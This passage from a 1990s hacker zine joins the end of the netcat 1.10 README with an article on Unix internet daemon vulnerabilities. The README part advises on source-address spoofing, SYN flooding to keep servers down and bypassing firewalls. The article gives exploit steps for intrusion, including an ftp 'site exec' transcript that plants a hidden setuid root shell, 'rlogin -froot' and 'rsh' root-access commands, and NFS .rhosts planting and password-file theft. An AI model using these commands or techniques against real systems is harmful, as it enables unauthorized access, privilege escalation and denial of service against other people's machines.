|
try to ask for things like USER and TERM environment variables will
|
|
get no useful answers, as they otherwise would from a more recent
|
|
telnet program. Some telnetds actually try to collect this stuff and
|
|
then plug the USER variable into "login" so that the caller is then
|
|
just asked for a password! This mechanism could cause a login attempt
|
|
as YOUR real username to be logged over there if you use a
|
|
Borman-based telnet instead of "nc -t".
|
|
|
|
Got an unused network interface configured in your kernel [e.g. SLIP],
|
|
or support for alias addresses? Ifconfig one to be any address you
|
|
like, and bind to it with -s to enable all sorts of shenanigans with
|
|
bogus source addresses. The interface probably has to be UP before
|
|
this works; some SLIP versions need a far-end address before this is
|
|
true. Hammering on UDP services is then a no-brainer. What you can do
|
|
to an unfiltered syslog daemon should be fairly obvious; trimming the
|
|
conf file can help protect against it. Many routers out there still
|
|
blindly believe what they receive via RIP and other routing protocols.
|
|
Although most UDP echo and chargen servers check if an incoming packet
|
|
was sent from *another* "internal" UDP server, there are many that
|
|
still do not, any two of which [or many, for that matter] could keep
|
|
each other entertained for hours at the expense of bandwidth. And you
|
|
can always make someone wonder why she's being probed by nsa.gov.
|
|
|
|
Your TCP spoofing possibilities are mostly limited to destinations you
|
|
can source-route to while locally bound to your phony address. Many
|
|
sites block source-routed packets these days for precisely this
|
|
reason. If your kernel does oddball things when sending source-routed
|
|
packets, try moving the pointer around with -G. You may also have to
|
|
fiddle with the routing on your own machine before you start receiving
|
|
packets back. Warning: some machines still send out traffic using the
|
|
source address of the outbound interface, regardless of your binding,
|
|
especially in the case of localhost. Check first. If you can open a
|
|
connection but then get no data back from it, the target host is
|
|
probably killing the IP options on its end [this is an option inside
|
|
TCP wrappers and several other packages], which happens after the
|
|
3-way handshake is completed. If you send some data and observe the
|
|
"send-q" side of "netstat" for that connection increasing but never
|
|
getting sent, that's another symptom. Beware: if Sendmail 8.7.x
|
|
detects a source-routed SMTP connection, it extracts the hop list and
|
|
sticks it in the Received: header!
|
|
|
|
SYN bombing [sometimes called "hosing"] can disable many TCP servers,
|
|
and if you hit one often enough, you can keep it unreachable for days.
|
|
As is true of many other denial-of-service attacks, there is currently
|
|
no defense against it except maybe at the human level. Making kernel
|
|
SOMAXCONN considerably larger than the default and the half-open
|
|
timeout smaller can help, and indeed some people running large
|
|
high-performance web servers have *had* to do that just to handle
|
|
normal traffic. Taking out mailers and web servers is sociopathic, but
|
|
on the other hand it is sometimes useful to be able to, say, disable a
|
|
site's identd daemon for a few minutes. If someone realizes what is
|
|
going on, backtracing will still be difficult since the packets have a
|
|
phony source address, but calls to enough ISP NOCs might eventually
|
|
pinpoint the source. It is also trivial for a clueful ISP to watch for
|
|
or even block outgoing packets with obviously fake source addresses,
|
|
but as we know many of them are not clueful or willing to get involved
|
|
in such hassles. Besides, outbound packets with an [otherwise
|
|
unreachable] source address in one of their net blocks would look
|
|
fairly legitimate.
|
|
|
|
Notes
|
|
|
|
A discussion of various caveats, subtleties, and the design of the
|
|
innards.
|
|
|
|
As of version 1.07 you can construct a single file containing command
|
|
arguments and then some data to transfer. Netcat is now smart enough
|
|
to pick out the first line and build the argument list, and send any
|
|
remaining data across the net to one or multiple ports. The first
|
|
release of netcat had trouble with this -- it called fgets() for the
|
|
command line argument, which behind the scenes does a large read()
|
|
from standard input, perhaps 4096 bytes or so, and feeds that out to
|
|
the fgets() library routine. By the time netcat 1.00 started directly
|
|
read()ing stdin for more data, 4096 bytes of it were gone. It now uses
|
|
raw read() everywhere and does the right thing whether reading from
|
|
files, pipes, or ttys. If you use this for multiple-port connections,
|
|
the single block of data will now be a maximum of 8K minus the first
|
|
line. Improvements have been made to the logic in sending the saved
|
|
chunk to each new port. Note that any command-line arguments hidden
|
|
using this mechanism could still be extracted from a core dump.
|
|
|
|
When netcat receives an inbound UDP connection, it creates a
|
|
"connected socket" back to the source of the connection so that it can
|
|
also send out data using normal write(). Using this mechanism instead
|
|
of recvfrom/sendto has several advantages -- the read/write select
|
|
loop is simplified, and ICMP errors can in effect be received by
|
|
non-root users. However, it has the subtle side effect that if further
|
|
UDP packets arrive from the caller but from different source ports,
|
|
the listener will not receive them. UDP listen mode on a multihomed
|
|
machine may have similar quirks unless you specifically bind to one of
|
|
its addresses. It is not clear that kernel support for UDP connected
|
|
sockets and/or my understanding of it is entirely complete here, so
|
|
experiment...
|
|
|
|
You should be aware of some subtleties concerning UDP scanning. If -z
|
|
is on, netcat attempts to send a single null byte to the target port,
|
|
twice, with a small time in between. You can either use the -w
|
|
timeout, or netcat will try to make a "sideline" TCP connection to the
|
|
target to introduce a small time delay equal to the round-trip time
|
|
between you and the target. Note that if you have a -w timeout and -i
|
|
timeout set, BOTH take effect and you wait twice as long. The TCP
|
|
connection is to a normally refused port to minimize traffic, but if
|
|
you notice a UDP fast-scan taking somewhat longer than it should, it
|
|
could be that the target is actually listening on the TCP port. Either
|
|
way, any ICMP port-unreachable messages from the target should have
|
|
arrived in the meantime. The second single-byte UDP probe is then
|
|
sent. Under BSD kernels, the ICMP error is delivered to the "connected
|
|
socket" and the second write returns an error, which tells netcat that
|
|
there is NOT a UDP service there. While Linux seems to be a fortunate
|
|
exception, under many SYSV derived kernels the ICMP is not delivered,
|
|
and netcat starts reporting that *all* the ports are "open" -- clearly
|
|
wrong. [Some systems may not even *have* the "udp connected socket"
|
|
concept, and netcat in its current form will not work for UDP at all.]
|
|
If -z is specified and only one UDP port is probed, netcat's exit
|
|
status reflects whether the connection was "open" or "refused" as with
|
|
TCP.
|
|
|
|
It may also be that UDP packets are being blocked by filters with no
|
|
ICMP error returns, in which case everything will time out and return
|
|
"open". This all sounds backwards, but that's how UDP works. If you're
|
|
not sure, try "echo w00gumz | nc -u -w 2 target 7" to see if you can
|
|
reach its UDP echo port at all. You should have no trouble using a
|
|
BSD-flavor system to scan for UDP around your own network, although
|
|
flooding a target with the high activity that -z generates will cause
|
|
it to occasionally drop packets and indicate false "opens". A more
|
|
"correct" way to do this is collect and analyze the ICMP errors, as
|
|
does SATAN's "udp_scan" backend, but then again there's no guarantee
|
|
that the ICMP gets back to you either. Udp_scan also does the
|
|
zero-byte probes but is excruciatingly careful to calculate its own
|
|
round-trip timing average and dynamically set its own response
|
|
timeouts along with decoding any ICMP received. Netcat uses a much
|
|
sleazier method which is nonetheless quite effective. Cisco routers
|
|
are known to have a "dead time" in between ICMP responses about
|
|
unreachable UDP ports, so a fast scan of a cisco will show almost
|
|
everything "open". If you are looking for a specific UDP service, you
|
|
can construct a file containing the right bytes to trigger a response
|
|
from the other end and send that as standard input. Netcat will read
|
|
up to 8K of the file and send the same data to every UDP port given.
|
|
Note that you must use a timeout in this case [as would any other UDP
|
|
client application] since the two-write probe only happens if -z is
|
|
specified.
|
|
|
|
Many telnet servers insist on a specific set of option negotiations
|
|
before presenting a login banner. On a raw connection you will see
|
|
this as small amount of binary gook. My attempts to create fixed input
|
|
bytes to make a telnetd happy worked some places but failed against
|
|
newer BSD-flavor ones, possibly due to timing problems, but there are
|
|
a couple of much better workarounds. First, compile with -DTELNET and
|
|
use -t if you just want to get past the option negotiation and talk to
|
|
something on a telnet port. You will still see the binary gook -- in
|
|
fact you'll see a lot more of it as the options are responded to
|
|
behind the scenes. The telnet responder does NOT update the total byte
|
|
count, or show up in the hex dump -- it just responds negatively to
|
|
any options read from the incoming data stream. If you want to use a
|
|
normal full-blown telnet to get to something but also want some of
|
|
netcat's features involved like settable ports or timeouts, construct
|
|
a tiny "foo" script:
|
|
|
|
#! /bin/sh
|
|
exec nc -otheroptions targethost 23
|
|
|
|
and then do
|
|
|
|
|
|
nc -l -p someport -e foo localhost &
|
|
telnet localhost someport
|
|
|
|
and your telnet should connect transparently through the exec'ed
|
|
netcat to the target, using whatever options you supplied in the "foo"
|
|
script. Don't use -t inside the script, or you'll wind up sending
|
|
*two* option responses.
|
|
|
|
I've observed inconsistent behavior under some Linuxes [perhaps just
|
|
older ones?] when binding in listen mode. Sometimes netcat binds only
|
|
to "localhost" if invoked with no address or port arguments, and
|
|
sometimes it is unable to bind to a specific address for listening if
|
|
something else is already listening on "any". The former problem can
|
|
be worked around by specifying "-s 0.0.0.0", which will do the right
|
|
thing despite netcat claiming that it's listening on [127.0.0.1]. This
|
|
is a known problem -- for example, there's a mention of it in the
|
|
makefile for SOCKS. On the flip side, binding to localhost and sending
|
|
packets to some other machine doesn't work as you'd expect -- they go
|
|
out with the source address of the sending interface instead. The
|
|
Linux kernel contains a specific check to ensure that packets from
|
|
127.0.0.1 are never sent to the wire; other kernels may contain
|
|
similar code. Linux, of course, *still* doesn't support
|
|
source-routing, but they claim that it and many other network
|
|
improvements are at least breathing hard.
|
|
|
|
There are several possible errors associated with making TCP
|
|
connections, but to specifically see anything other than "refused",
|
|
one must wait the full kernel-defined timeout for a connection to
|
|
fail. Netcat's mechanism of wrapping an alarm timer around the connect
|
|
prevents the *real* network error from being returned -- "errno" at
|
|
that point indicates "interrupted system call" since the connect
|
|
attempt was interrupted. Some old 4.3 BSD kernels would actually
|
|
return things like "host unreachable" immediately if that was the
|
|
case, but most newer kernels seem to wait the full timeout and *then*
|
|
pass back the real error. Go figure. In this case, I'd argue that the
|
|
old way was better, despite those same kernels generally being the
|
|
ones that tear down *established* TCP connections when ICMP-bombed.
|
|
|
|
Incoming socket options are passed to applications by the kernel in
|
|
the kernel's own internal format. The socket-options structure for
|
|
source-routing contains the "first-hop" IP address first, followed by
|
|
the rest of the real options list. The kernel uses this as is when
|
|
sending reply packets -- the structure is therefore designed to be
|
|
more useful to the kernel than to humans, but the hex dump of it that
|
|
netcat produces is still useful to have.
|
|
|
|
Kernels treat source-routing options somewhat oddly, but it sort of
|
|
makes sense once one understands what's going on internally. The
|
|
options list of addresses must contain hop1, hop2, ..., destination.
|
|
When a source-routed packet is sent by the kernel [at least BSD], the
|
|
actual destination address becomes irrelevant because it is replaced
|
|
with "hop1", "hop1" is removed from the options list, and all the
|
|
other addresses in the list are shifted up to fill the hole. Thus the
|
|
outbound packet is sent from your chosen source address to the first
|
|
*gateway*, and the options list now contains hop2, ..., destination.
|
|
During all this address shuffling, the kernel does NOT change the
|
|
pointer value, which is why it is useful to be able to set the pointer
|
|
yourself -- you can construct some really bizarre return paths, and
|
|
send your traffic fairly directly to the target but around some larger
|
|
loop on the way back. Some Sun kernels seem to never flip the
|
|
source-route around if it contains less than three hops, never reset
|
|
the pointer anyway, and tries to send the packet [with options
|
|
containing a "completed" source route!!] directly back to the source.
|
|
This is way broken, of course. [Maybe ipforwarding has to be on? I
|
|
haven't had an opportunity to beat on it thoroughly yet.]
|
|
|
|
"Credits" section: The original idea for netcat fell out of a
|
|
long-standing desire and fruitless search for a tool resembling it and
|
|
having the same features. After reading some other network code and
|
|
realizing just how many cool things about sockets could be controlled
|
|
by the calling user, I started on the basics and the rest fell
|
|
together pretty quickly. Some port-scanning ideas were taken from
|
|
Venema/Farmer's SATAN tool kit, and Pluvius' "pscan" utility. Healthy
|
|
amounts of BSD kernel source were perused in an attempt to dope out
|
|
socket options and source-route handling; additional help was obtained
|
|
from Dave Borman's telnet sources. The select loop is loosely based on
|
|
fairly well-known code from "rsh" and Richard Stevens' "sock" program
|
|
[which itself is sort of a "netcat" with more obscure features], with
|
|
some more paranoid sanity-checking thrown in to guard against the
|
|
distinct likelihood that there are subtleties about such things I
|
|
still don't understand. I found the argument-hiding method cleanly
|
|
implemented in Barrett's "deslogin"; reading the line as input allows
|
|
greater versatility and is much less prone to cause bizarre problems
|
|
than the more common trick of overwriting the argv array. After the
|
|
first release, several people contributed portability fixes; they are
|
|
credited in generic.h and the Makefile. Lauren Burka inspired the
|
|
ascii art for this revised document. Dean Gaudet at Wired supplied a
|
|
precursor to the hex-dump code, and mudge@l0pht.com originally
|
|
experimented with and supplied code for the telnet-options responder.
|
|
Outbound "-e " resulted from a need to quietly bypass a firewall
|
|
installation. Other suggestions and patches have rolled in for which I
|
|
am always grateful, but there are only 26 hours per day and a
|
|
discussion of feature creep near the end of this document.
|
|
|
|
Netcat was written with the Russian railroad in mind -- conservatively
|
|
built and solid, but it *will* get you there. While the coding style
|
|
is fairly "tight", I have attempted to present it cleanly [keeping
|
|
*my* lines under 80 characters, dammit] and put in plenty of comments
|
|
as to why certain things are done. Items I know to be questionable are
|
|
clearly marked with "XXX". Source code was made to be modified, but
|
|
determining where to start is difficult with some of the tangles of
|
|
spaghetti code that are out there. Here are some of the major points I
|
|
feel are worth mentioning about netcat's internal design, whether or
|
|
not you agree with my approach.
|
|
|
|
Except for generic.h, which changes to adapt more platforms, netcat is
|
|
a single source file. This has the distinct advantage of only having
|
|
to include headers once and not having to re-declare all my functions
|
|
in a billion different places. I have attempted to contain all the
|
|
gross who's-got-what-.h-file things in one small dumping ground.
|
|
Functions are placed "dependencies-first", such that when the compiler
|
|
runs into the calls later, it already knows the type and arguments and
|
|
won't complain. No function prototyping -- not even the __P(()) crock
|
|
-- is used, since it is more portable and a file of this size is easy
|
|
enough to check manually. Each function has a standard-format comment
|
|
ahead of it, which is easily found using the regexp " :$". I freely
|
|
use gotos. Loops and if-clauses are made as small and non-nested as
|
|
possible, and the ends of same *marked* for clarity [I wish everyone
|
|
would do this!!].
|
|
|
|
Large structures and buffers are all malloc()ed up on the fly,
|
|
slightly larger than the size asked for and zeroed out. This reduces
|
|
the chances of damage from those "end of the buffer" fencepost errors
|
|
or runaway pointers escaping off the end. These things are permanent
|
|
per run, so nothing needs to be freed until the program exits.
|
|
|
|
File descriptor zero is always expected to be standard input, even if
|
|
it is closed. If a new network descriptor winds up being zero, a
|
|
different one is asked for which will be nonzero, and fd zero is
|
|
simply left kicking around for the rest of the run. Why? Because
|
|
everything else assumes that stdin is always zero and "netfd" is
|
|
always positive. This may seem silly, but it was a lot easier to code.
|
|
The new fd is obtained directly as a new socket, because trying to
|
|
simply dup() a new fd broke subsequent socket-style use of the new fd
|
|
under Solaris' stupid streams handling in the socket library.
|
|
|
|
The catch-all message and error handlers are implemented with an ample
|
|
list of phoney arguments to get around various problems with varargs.
|
|
Varargs seems like deliberate obfuscation in the first place, and
|
|
using it would also require use of vfprintf() which not all platforms
|
|
support. The trailing sleep in bail() is to allow output to flush,
|
|
which is sometimes needed if netcat is already on the other end of a
|
|
network connection.
|
|
|
|
The reader may notice that the section that does DNS lookups seems
|
|
much gnarlier and more confusing than other parts. This is NOT MY
|
|
FAULT. The sockaddr and hostent abstractions are an abortion that
|
|
forces the coder to deal with it. Then again, a lot of BSD kernel code
|
|
looks like similar struct-pointer hell. I try to straighten it out
|
|
somewhat by defining my own HINF structure, containing names,
|
|
ascii-format IP addresses, and binary IP addresses. I fill this
|
|
structure exactly once per host argument, and squirrel everything
|
|
safely away and handy for whatever wants to reference it later.
|
|
|
|
Where many other network apps use the FIONBIO ioctl to set
|
|
non-blocking I/O on network sockets, netcat uses straightforward
|
|
blocking I/O everywhere. This makes everything very lock-step, relying
|
|
on the network and filesystem layers to feed in data when needed. Data
|
|
read in is completely written out before any more is fetched. This may
|
|
not be quite the right thing to do under some OSes that don't do timed
|
|
select() right, but this remains to be seen.
|
|
|
|
The hexdump routine is written to be as fast as possible, which is why
|
|
it does so much work itself instead of just sprintf()ing everything
|
|
together. Each dump line is built into a single buffer and atomically
|
|
written out using the lowest level I/O calls. Further improvements
|
|
could undoubtedly be made by using writev() and eliminating all
|
|
sprintf()s, but it seems to fly right along as is. If both exec-a-prog
|
|
mode and a hexdump file is asked for, the hexdump flag is deliberately
|
|
turned off to avoid creating random zero-length files. Files are
|
|
opened in "truncate" mode; if you want "append" mode instead, change
|
|
the open flags in main().
|
|
|
|
main() may look a bit hairy, but that's only because it has to go down
|
|
the argv list and handle multiple ports, random mode, and exit status.
|
|
Efforts have been made to place a minimum of code inside the getopt()
|
|
loop. Any real work is sent off to functions in what is hopefully a
|
|
straightforward way.
|
|
|
|
Obligatory vendor-bash: If "nc" had become a standard utility years
|
|
ago, the commercial vendors would have likely packaged it setuid root
|
|
and with -DGAPING_SECURITY_HOLE turned on but not documented. It is
|
|
hoped that netcat will aid people in finding and fixing the no-brainer
|
|
holes of this sort that keep appearing, by allowing easier
|
|
experimentation with the "bare metal" of the network layer.
|
|
|
|
It could be argued that netcat already has too many features. I have
|
|
tried to avoid "feature creep" by limiting netcat's base functionality
|
|
only to those things which are truly relevant to making network
|
|
connections and the everyday associated DNS lossage we're used to.
|
|
Option switches already have slightly overloaded functionality. Random
|
|
port mode is sort of pushing it. The hex-dump feature went in later
|
|
because it *is* genuinely useful. The telnet-responder code *almost*
|
|
verges on the gratuitous, especially since it mucks with the data
|
|
stream, and is left as an optional piece. Many people have asked for
|
|
example "how 'bout adding encryption?" and my response is that such
|
|
things should be separate entities that could pipe their data
|
|
*through* netcat instead of having their own networking code. I am
|
|
therefore not completely enthusiastic about adding any more features
|
|
to this thing, although you are still free to send along any mods you
|
|
think are useful.
|
|
|
|
Nonetheless, at this point I think of netcat as my tcp/ip swiss army
|
|
knife, and the numerous companion programs and scripts to go with it
|
|
as duct tape. Duct tape of course has a light side and a dark side and
|
|
binds the universe together, and if I wrap enough of it around what
|
|
I'm trying to accomplish, it *will* work. Alternatively, if netcat is
|
|
a large hammer, there are many network protocols that are increasingly
|
|
looking like nails by now...
|
|
|
|
_H* 960320 v1.10 RELEASE -- happy spring!
|
|
|
|
[Netcat rules the net ----------]
|
|
|
|
|
|
Internet Daemons
|
|
Author: Voyager[TNO]
|
|
Date: 15. June 1996
|
|
|
|
Internet hosts communicate with each other using either TCP (Transmission Control Protocol) or UDP (User Datagram
|
|
Protocol) on top of IP (Internet Protocol). Other protocols are used on top of IP, but TCP and UDP are the ones that are of
|
|
interest to us. On a Unix system, the file /etc/protocols will list the available protocols on your machine
|
|
|
|
On the Session Layer (OSI model) or the Internet Layer (DOD Protocol Model) data is moved between hosts by using ports.
|
|
Each data communication will have a source port number and a destination port number. Port numbers can be divided into two
|
|
types, well-known ports and dynamically allocated ports. Under Unix, well-known ports are defined in the file /etc/services. In
|
|
addition, RFC (Request For Comments) 1700 "Assigned Numbers" provides a complete listing of all well-known ports.
|
|
Dynamically allocated port numbers are assigned as needed by the system.
|
|
|
|
Unix provides the ability to connect programs called daemons to well-known ports. The remote computer will connect to the
|
|
well-known port on the host computer, and be connected to the daemon program.
|
|
|
|
Daemon programs are traditionally started by inetd (The Internet Daemon). Daemon programs to be executed are defined in
|
|
the inetd configuration file, /etc/inetd.conf.
|
|
|
|
Most of these daemons run as a priveledged user, often as root. Many of these programs have vulnerabilities which can be
|
|
exploited to gain access to remote systems.
|
|
|
|
The daemons we are interested in are:
|
|
|
|
Service Port Number Description
|
|
~~~~~~~~~~~~~ ~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
ftp 21 File Transfer [Control]
|
|
smtp 25 Simple Mail Transfer Protocol
|
|
tftp 69 Trivial File Transfer Protocol
|
|
finger 79 Finger
|
|
www-http 80 World Wide Web HTTP
|
|
sunrpc 111 SUN Remote Procedure Call
|
|
fln-spx 221 Berkeley rlogind with SPX auth
|
|
rsh-spx 222 Berkeley rshd with SPX auth
|
|
netinfo 716-719 NetInfo
|
|
ibm-res 1405 IBM Remote Execution Starter
|
|
nfs 2049 Network File System
|
|
x11 6000-6063 X Window System
|
|
|
|
rcp/rshd Remote Copy/Remote Shell Daemon
|
|
nis Network Information Services
|
|
|
|
|
|
The next part of this article will focus on specific daemons and their known vulnerabilities. The vulnerabilities with brief
|
|
explanations will be explained here. For the more complicated exploits, which are beyond the scope of a concise article, more
|
|
research will be required on the part of the reader.
|
|
|
|
ftp 21 File Transfer [Control]
|
|
|
|
FTP is the File Transfer Protocol. FTP requests are answered by the FTP daemon, ftpd. wuarchive's ftpd versions below 2.2
|
|
have a vulnerability where you can execute any binary you can see with the 'site exec' command by calling it with a relative
|
|
pathname with "../" at the beginning. Here is a sample exploit:
|
|
|
|
Login to the system via ftp:
|
|
|
|
220 uswest.com FTP server (Version wu-2.1(1) ready.
|
|
Name (uswest.com:waltman): waltman
|
|
331 Password required for waltman.
|
|
Password: jim
|
|
230 User waltman logged in.
|
|
Remote system type is UNIX.
|
|
Using binary mode to transfer files.
|
|
ftp> quote "site exec cp /bin/sh /tmp/.tno"
|
|
200-cp /bin/sh /tmp/tno
|
|
ftp> quote "site exec chmod 6755 /tmp/.tno"
|
|
200-chmod 6755 /tmp/tno
|
|
ftp> quit
|
|
221 Goodbye.
|
|
|
|
smtp 25 Simple Mail Transfer Protocol
|
|
|
|
Mail attacks are one of the oldest known methods of attacking Internet hosts. The most common mail daemon, and least
|
|
secure, is sendmail. Other mail daemons include smail, MMDF,and IDA sendmail. Sendmail has had too many vulnerabilities to
|
|
list them all. There is an entire FAQ written specifically on sendmail vulnerabilities, therefore we will not cover them heavily
|
|
here.
|
|
|
|
One well known vulnerability, useful only for historical purposes, is "Wizard Mode." In Wizard mode you could request a shell
|
|
via Port 25 (The SMTP port). No modern system will be vulnerable to this attack. To exploit this vulnerability, you telnetted to
|
|
port 25, typed WIZ to enter Wizard mode, and entered the password. The problem related to the way the encrypted
|
|
password was stored. There was a bug that caused the system to believe that no password was as good as the real password.
|
|
|
|
To quote Steven Bellovin:
|
|
|
|
The intended behavior of wizard mode was that if you supplied the right password, some other non-standard SMTP
|
|
commands were enabled, notably one to give you a shell. The hashed password -- one-way encrypted exactly as per
|
|
/etc/passwd -- was stored in the sendmail configuration file. But there was this bug; to explain it, I need to discuss some
|
|
arcana relating to sendmail and the C compiler.
|
|
|
|
In order to save the expense of reading and parsing the configuration file each time, sendmail has what's known as a
|
|
``frozen configuration file''. The concept is fine; the implementation isn't. To freeze the configuration file, sendmail just
|
|
wrote out to disk the entire dynamic memory area (used by malloc) and the `bss' area -- the area that took up no space
|
|
in the executable file, but was initialized to all zeros by the UNIX kernel when the program was executed. The bss area
|
|
held all variables that were not given explicit initial values by the C source. Naturally, when delivering mail, sendmail just
|
|
read these whole chunks back in, in two giant reads. It was therefore necessary to store all configuration file information
|
|
in the bss or malloc areas, which demanded a fair amount of care in coding.
|
|
|
|
The wizard mode password was stored in malloc'ed memory, so it was frozen properly. But the pointer to it was
|
|
explicitly set to NULL in the source:
|
|
|
|
char *wiz = NULL;
|
|
|
|
That meant that it was in the initialized data area, *not* the bss. And it was therefore *not* saved with the frozen
|
|
configuration. So -- when the configuration file is parsed and frozen, the password is read, and written out. The next time
|
|
sendmail is run, though, the pointer will be reset to NULL. (The password is present, of course, but there's no way to
|
|
find it.) And the code stupidly believed in the concept of no password for the back door.
|
|
|
|
One more point is worth noting -- during testing, sendmail did the right thing with wizard mode. That is, it did check the
|
|
password -- because if you didn't happen to do the wizard mode test with a frozen configuration file -- and most testing
|
|
would not be done that way, since you have to refreeze after each compilation -- the pointer would be correct.
|
|
|
|
tftp 69 Trivial File Transfer Protocol
|
|
|
|
tftp is the Trivial File Transfer Protocol. tftp is most often used to attempt to grab password files from remote systems. tftp
|
|
attacks are so simple and repetitive that scripts are written to automate the process of attacking entire domains. Here is one
|
|
such script: Already published in the first book of Matic!
|
|
|
|
finger 79 Finger
|
|
|
|
The finger command displays information about another user, such as login name, full name, terminal name, idle time, login time,
|
|
and location if known. finger requests are answered by the fingerd daemon.
|
|
|
|
Robert Tappan Morris's Internet Worm used the finger daemon. The finger daemon allowed up to 512 bytes from the remote
|
|
machine as part of the finger request. fingerd, however, suffered from a buffer overflow bug caused by a lack proper bounds
|
|
checking. Anything over 512 got interpreted by the machine being fingered as an instruction to be executed locally, with
|
|
whatever privileges the finger daemon had.
|
|
|
|
www-http 80 World Wide Web HTTP
|
|
|
|
HTML (HyperText Markup Language) allows web page user to execute programs on the host system. If the web page
|
|
designer allows the web page user to enter arguments to the commands, the system is vulnerable to the usual problems
|
|
associated with system() type calls. In addition, there is a vulnerability that under some circumstances will give you an X-Term
|
|
using the UID that the WWW server is running under.
|
|
|
|
sunrpc 111 SUN Remote Procedure Call
|
|
|
|
Sun RPC (Remote Procedure Call) allows users to execute procedures on remote hosts. RPC has suffered from a lack of
|
|
secure authentification. To exploit RPC vulnerabilities, you should have a program called "ont" which is not terribly difficult to
|
|
find.
|
|
|
|
login 513 Remote login
|
|
|
|
Some versions of AIX and Linux suffer from a bug in the way that rlogind reads arguments. To exploit this vulnerability, issue
|
|
this command from a remote system:
|
|
|
|
rlogin host -l -froot
|
|
|
|
Where host is the name of the target machine and username is the username you would like to rlogin as (usully root). If this bug
|
|
exists on the hosts system, you will be logged in, without being asked for a password.
|
|
|
|
rsh-spx 222 Berkeley rshd with SPX auth
|
|
|
|
Some versions of Dynix and Irix have a bug in rshd that allows you to run commands as root. To exploit this vulnerability, issue
|
|
this command from the remote system:
|
|
|
|
rsh host -l "" /bin/sh
|
|
|
|
netinfo 716-719 NetInfo
|
|
|
|
NeXT has implemented a protocol known as NetInfo so that one NeXT machine can query another NeXT machine for
|
|
information. A NetInfo server will by default allow unrestricted access to system databases. This can be fixed by the System
|
|
Administrator. One of the pieces of information netinfo will give up is the password file.
|
|
|
|
ibm-res 1405 IBM Remote Execution Starter
|
|
|
|
rexd (the remote execution daemon) allows you to execute a program on another Unix machine. AIX, NeXT and HPUX
|
|
versions of rexd have suffered from a vulnerability allowing unintended remote execution. The rexd daemon checks your uid on
|
|
the machine you are coming from, therefore you must be root on the machine you are mounting the rexd attack from. To
|
|
determine if your target machine is running rexd, use the 'rcp -p ' command. You will also need the exploit program known as
|
|
'on' which is available on fine H/P boards everywhere.
|
|
|
|
nfs 2049 Network File System
|
|
|
|
NFS, the Network File System, from Sun Microsystems has suffered from multiple security vulnerabilities. In addition, many
|
|
system administrators configure NFS incorrectly, allowing unintended remote access.
|
|
|
|
Using the command 'showmount -e ' you can view what file systems are exported from a machine. Many administrators allow
|
|
read access to the /etc directory, allowing you to copy the password file. Other administrators allow write access to user
|
|
directories, allowing you to create .rhosts files and gain access to the machine via rlogin or rsh.
|
|
|
|
In addition to configuration issues, NFS is vulnerable to attacks using a uid masking bug, a mknod bug, and a general file
|
|
handle guessing attack. Several hacked versions of the mount command have been written to exploit known vulnerabilities.
|
|
|
|
x11 6000-6063 X Window System
|
|
|
|
X-Windows has suffered and currently suffers from numerous vulnerabilities. One vulnerability allows you to access another
|
|
users display, another allows you to view another users keystrokes. Another vulnerability allows a remote attacker to run every
|
|
program that the root user starts in his or her .xsession file. Yet another X-Windows vulnerability allows a local user to create a
|
|
root entry in the /etc/passwd file.
|
|
|
|
rcp
|
|
|
|
The SunOS 4.0.x rcp utility can be exploited by any trusted host listed in /etc/hosts.equiv or /.rhosts. To exploit this hole you
|
|
must be running NFS (Network File System) on a Unix system or PC/NFS on a DOS system.
|
|
|
|
NIS
|
|
|
|
Sun's NIS (Network Information Service) also known as yp (Yellow Pages) has a vulnerability where you can request an NIS
|
|
map from another NIS domain if you know the NIS domain name of the target system. There is no way to query a remote
|
|
system for it's NIS domainname, but many NIS domain names are easily guessable. The most popular NIS map to request is
|
|
passwd.byname, the NIS implementation of /etc/passwd. In addition, if you have access to a diskless Unix workstation, you
|
|
can determine the NIS domain name of the server it boots from.
|
|
|
|
|
|
+--------------------------------------------------------+
|
|
+ Do not confuse NIS domain names with DNS domain names! +
|
|
+--------------------------------------------------------+
|
|
|
|
|
|
Other attacks
|
|
|
|
In addition to these daemon based attacks, many other methods can be used to gain access to a remote computer. These
|
|
include, but are not limited to: default accounts, password guessing, sniffing, source routing, DNS routing attacks, tcp sequence
|
|
prediction and uucp configuration exploits.
|
|
|
|
This should give you an idea on how daemon based attacks function. By no means is this a complete list of security
|
|
vulnerabilities in privileged internet daemons. To discover more information about how these daemons operate, and how to
|
|
exploit their vulnerabilities, I highly recommend reading source code, man pages and RFC's.
|
|
|
|
|
|
|